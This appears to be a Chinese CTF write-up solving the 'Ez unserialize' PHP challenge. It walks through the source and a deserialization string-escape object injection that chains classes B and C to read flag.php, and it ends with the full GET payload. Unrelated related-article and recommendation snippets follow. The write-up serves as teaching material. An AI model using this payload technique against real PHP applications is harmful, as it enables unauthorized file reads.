刷题[安恒DASCTF2020四月春季赛]Ez unserialize
解题思路
打开直接源码,没别的,审就完事了
代码审计
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
反序列化思路
首先观察new了A类,然后将其序列化,经过两个函数处理后再反序列化。
C类中有tostring魔法方法,利用其中的file_get_contents函数读取flag.php文件
触发tostring魔法方法需要字符串操作,向上看,正好B类中的析构函数存在字符串的拼接操作
所以整个反序列化思路为:将A的属性实例化为B,然后将B的属性实例化为C对象,触发魔法方法读取flag
大致的序列化结果:
O:1:"A":2:{s:8:"username";s"payload1";s:8:"password";s:xx:"payload2";}
payload2:
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}
对象逃逸
核心思想:过滤导致的字符串位数增加或减少,不会导致序列化中变量名字符数改变,导致逃逸出新的对象
同时对象逃逸的特点是
过滤函数放在了序列化函数之后
看read函数,将\0\0\0 (6个字符) 替换成 chr(0)*chr(0) (3个字符),所以这里逃逸处3个字符
我们要逃逸出的字符串是
";s:8:"password";s:xx:" 共23位(因为这里payload打在password里,所以xx一定是两位数) 为什么是这个字符串在下面解释
因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 (24个\0)将其传入payload1中
只序列化后的结果:
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}
经过函数过滤后的结果:
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";} (实际每个*号前后有两个空字符,这里未显示)
可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A (因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位)
读完此时,结束,发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来
构成对象逃逸
成功完成攻击,读取出flag值
整个的payload就是:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}
刷题[安恒DASCTF2020四月春季赛]Ez unserialize的更多相关文章
- JS刷题总结
多总结,才能更好地进步,分享下最近的刷题总结给大家吧 关于缩减代码 1.善用js中的函数或者特性. (迭代.解构.set等等) //使用箭头函数缩减代码 //处理输入,可以用.map,需要注意其所有参 ...
- LeetCode 到底怎么刷?GitHub 上多位大厂程序员亲测的高效刷题方式
作者:HelloGitHub-小鱼干 在众多的诸如阿里.腾讯等大厂之中,最看中面试者刷题技能的大概要数有"链表厂"之称的字节跳动了.作为一个新晋大厂,字节跳动以高薪.技术大佬云集吸 ...
- LeetCode刷题系列
LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...
- ife任务刷题总结(一)-css reset与清除浮动
本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...
- 刷题ING...
我用codeVS刷题.. 努力准备!!
- XidianOJ 1020 ACMer去刷题吧
题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...
- 【BZOJ-4590】自动刷题机 二分 + 判定
4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 156 Solved: 63[Submit][Status ...
- NOI题库分治算法刷题记录
今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...
- NOI题库刷题日志 (贪心篇题解)
这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制: 1000ms 内存限制: 65536kB 描述 在一个平面上,如果有两个点( ...
随机推荐
- 双操作系统(ubuntu/windows7)安装教程
前言 前两天出于项目原因,本人心血来潮地给久经战场的电脑老大哥找个小媳妇,哈哈哈,装了两个系统.分别是用了多年的win7和接触不久的Ubuntu,在其中遇到了一些坑,在此记录下来,希望能给自己和大家带 ...
- maven文件合集
maven项目目录结构 聚合项目的pom.xml <?xml version="1.0" encoding="UTF-8"?> <projec ...
- 【洛谷日报#26】GCC自带位运算系列函数
文章转自 洛谷 谈到GCC的黑科技,大家想到的一定是这句: #pragma GCC optimize (3)//吸氧 抑或是这句: #pragma GCC diagnostic error " ...
- mysql表中时间timestamp设计
Mysql数据库中CURRENT_TIMESTAMP和ON UPDATE CURRENT_TIMESTAMP区别 如图所示,mysql数据库中,当字段类型为timestamp时,如果默认值取CUR ...
- 多层v-for循环嵌套导致v-model双向绑定失败,页面不重新渲染
数据格式是数组包对象,对象里面再包数组,数组再包对象,如下: 外层for遍历出editInfo里面所有的属性,内层for遍历Options. 最终实现样子 两个问题: 1.点加减按钮的时候往optio ...
- windows设置定时执行脚本
如果你写了一些Python程序,想要在特定的时间进行执行,例如你想让一段爬虫程序在每天的上午10点执行一次,那么我们就可以来使用windows自带的定时任务进行设置.由于Windows系统,无法使用L ...
- 【Android】AndroidStudio关于EventBus报错解决方法its super classes have no public methods with the @Subscribe
作者:程序员小冰,GitHub主页:https://github.com/QQ986945193 新浪微博:http://weibo.com/mcxiaobing 首先说明,以前我用eventBus的 ...
- C# OWC11
public void OcwChart(int[] Data,string[] DataName,string Yname,string Xname,string ChartName,string ...
- 使用Telnet服务测试端口时,提示没有Telnet服务
1.win7系统是默认不开启Telnet服务的,所以我们第一次使用时要手动开启Telnet服务 1)打开 控制面板 > 程序 > 程序功能 > 打开或关闭Windows功能,勾选上T ...
- [PyTorch 学习笔记] 5.2 Hook 函数与 CAM 算法
本章代码: https://github.com/zhangxiann/PyTorch_Practice/blob/master/lesson5/hook_fmap_vis.py https://gi ...